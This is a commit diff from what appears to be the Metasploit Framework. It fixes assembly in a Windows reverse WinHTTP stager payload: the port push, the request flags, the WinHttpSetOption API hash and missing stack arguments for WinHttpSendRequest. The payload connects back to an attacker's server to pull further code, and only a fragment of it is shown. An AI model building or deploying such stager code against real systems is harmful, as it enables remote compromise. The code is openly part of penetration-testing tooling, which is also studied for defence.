Skip to content

Commit 631e160

Browse files
author
HD Moore
committed
Fix WinHttpSetOption & stack parameters
1 parent 66a45ac commit 631e160

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -159,7 +159,7 @@ def asm_reverse_winhttp(opts={})
159159
160160
WinHttpConnect:
161161
push ebx ; Reserved (NULL) [4]
162-
push.i32 #{opts[:port]}; Port [3]
162+
push #{opts[:port]} ; Port [3]
163163
call got_server_uri ; Double call to get pointer for both server_uri and
164164
server_uri: ; server_host; server_uri is saved in EDI for later
165165
db #{encoded_url}
@@ -170,7 +170,7 @@ def asm_reverse_winhttp(opts={})
170170
171171
WinHttpOpenRequest:
172172
173-
push.i32 #{http_open_flags}
173+
push.i32 #{"0x%.8x" % http_open_flags}
174174
push ebx ; AcceptTypes (NULL) [6]
175175
push ebx ; Referrer (NULL) [5]
176176
push ebx ; Version (NULL) [4]
@@ -198,7 +198,7 @@ def asm_reverse_winhttp(opts={})
198198
push eax ; &buffer
199199
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
200200
push esi ; hHttpRequest
201-
push 0xd83c501e ; hash( "winhttp.dll", "WinHttpSetOption" )
201+
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
202202
call ebp
203203
^
204204
end
@@ -207,8 +207,8 @@ def asm_reverse_winhttp(opts={})
207207
send_request:
208208
209209
WinHttpSendRequest:
210-
; Context [7]
211-
; TotalLength [6]
210+
push ebx ; Context [7]
211+
push ebx ; TotalLength [6]
212212
push ebx ; OptionalLength (0) [5]
213213
push ebx ; Optional (NULL) [4]
214214
push ebx ; HeadersLength (0) [3]

0 commit comments

Comments
 (0)